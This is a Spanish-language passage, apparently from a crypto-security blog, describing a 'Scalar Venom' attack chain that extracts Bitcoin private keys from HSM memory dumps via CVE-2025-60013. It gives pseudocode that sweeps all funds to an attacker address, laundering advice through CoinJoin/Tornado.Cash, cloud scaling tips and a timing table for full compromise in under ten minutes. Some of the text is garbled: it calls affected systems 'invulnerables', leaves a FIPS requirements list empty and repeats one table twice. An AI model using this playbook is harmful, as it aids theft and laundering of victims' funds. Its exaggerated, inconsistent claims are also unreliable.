# 2. Create transaction (withdraw all funds to attacker address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
# 3. Sign with recovered private key
tx.sign(recovered_private_key) # ECDSA signature using compromised key
# 4. Broadcast to Bitcoin network
blockchain_api.broadcast_transaction(tx)
Etapa 5: Desaparición de rastros
Los fondos recuperados se mezclan inmediatamente a través de CoinJoin/Tornado.Cash para dificultar el análisis forense. keyhunters
Escalabilidad: Usando computación en la nube (AWS, Google Cloud), se pueden procesar 1000+ volcados de memoria en paralelo , manejando miles de claves privadas simultáneamente .
[Atacante]
↓
[CVE-2025-60013: Inicialización del HSM con metacaracteres de shell]
↓
[Módulo FIPS F5OS-A: manejo de contraseñas, creación de escalares]
↓
[Scalar Venom: múltiples copias de claves privadas en memoria]
↓
[Caída del HSM / Fallo de inicialización parcial: memoria sin limpiar]
↓
[Volcado de memoria: captura del estado de la memoria]
↓
[Escaneo forense: BitScanPro encuentra regiones de alta entropía]
↓
[Validación de clave: comprobación de la curva secp256k1]
↓
[Generación de dirección: creación de la dirección Bitcoin]
↓
[Transferencia de fondos: firma y transmisión de la transacción]
↓
[Pérdida de la víctima: pérdida total del control de los fondos]
La certificación FIPS 140-2 (e incluso FIPS 140-3) no requiere:
Esto significa que incluso los HSM "certificados FIPS" son vulnerables a Scalar Venom a menos que los desarrolladores implementen medidas de seguridad adicionales.[24]
El ataque Scalar Venom representa una amenaza crítica para la infraestructura de Bitcoin, especialmente cuando se combina con vulnerabilidades de inicialización de HSM como CVE-2025-60013. Este ataque:
La migración a arquitecturas con protección de memoria por hardware (Intel SGX, ARM TrustZone), granularidad explícita de todos los búferes temporales y patrones RAII en las bibliotecas criptográficas es fundamental para garantizar la seguridad del sistema Bitcoin.
El ataque Scalar Venom representa una vulnerabilidad crítica para el ecosistema global de Bitcoin, especialmente cuando se combina con las vulnerabilidades de inicialización de HSM CVE-2025-60013. Esta cadena de ataque multicapa socava fundamentalmente los modelos de confianza criptográfica y expone los siguientes riesgos existenciales:
Permite el compromiso completo de las claves privadas a través de fugas de memoria, evadiendo incluso los módulos de seguridad de hardware avanzados y dejando a los sistemas afectados completamente invulnerables.
El compromiso es permanente e irreversible: una vez que se extrae una clave privada, no se puede recuperar, lo que pone todos los fondos dependientes en riesgo inminente de pérdida.
El ataque es escalable y puede automatizarse para afectar simultáneamente a una gran cantidad de nodos y carteras de Bitcoin, lo que resulta en un aumento exponencial de las pérdidas potenciales.
Su naturaleza sigilosa garantiza que no haya rastros visibles en los registros del sistema ni en las métricas de rendimiento, lo que hace insuficientes los mecanismos tradicionales de detección y protección.
Mitigar esta amenaza catastrófica requiere una migración urgente a arquitecturas seguras para la memoria, incluida la protección de memoria basada en hardware (como Intel SGX o ARM TrustZone), el borrado estricto de todos los búferes temporales durante todas las operaciones criptográficas y la implementación robusta de patrones RAII en las bibliotecas de software críticas. Solo a través de reformas arquitectónicas tan sólidas se puede garantizar de manera realista la integridad y la seguridad a largo plazo de la infraestructura de Bitcoin.
| Proceso | Tiempo | Equipo |
|---|
| Obtención de un volcado de memoria | 5-30 segundos | Depende del método |
| Escaneo de un volcado de 16GB | 2-5 minutos | MacBook Air (M1) |
| Validación de 1000 claves candidatas | 30 segundos | MacBook Air (M1) |
| Generación de direcciones | 10 segundos | MacBook Air (M1) |
| Transferencia de fondos (broadcast) | < 1 segundo | Internet |
| Total para el compromiso completo | < 10 minutos | MacBook Air (M1) |
| Aspecto | Puntuación | Nota |
|---|
| CVE-2025-60013 (inicialización del HSM) | CVSS 5.7 (Medio) | Oficialmente bajo, pero sirve como punto de entrada |
| Ataque Scalar Venom | CVSS 8.5+ (Alto/Crítico) | Impacto crítico de facto |
| Ataque combinado | CVSS 9.5+ (Crítico) | Compromiso total de las claves privadas |
| Recuperación tras el compromiso | Imposible | Pérdida irreversible de fondos |
| Proceso | Tiempo | Equipamiento |
|---|
| Obtener un volcado de memoria | 5-30 seg | Depende del método |
| Escaneo de un volcado de 16 GB | 2-5 min | MacBook Air (M1) |
| Validación de 1000 claves candidatas | 30 seg | MacBook Air (M1) |
| Generación de direcciones | 10 seg | MacBook Air (M1) |
| Transferencia de fondos (transmisión) | < 1 seg | Internet |
| Total para un compromiso completo | < 10 minutos | MacBook Air (M1) |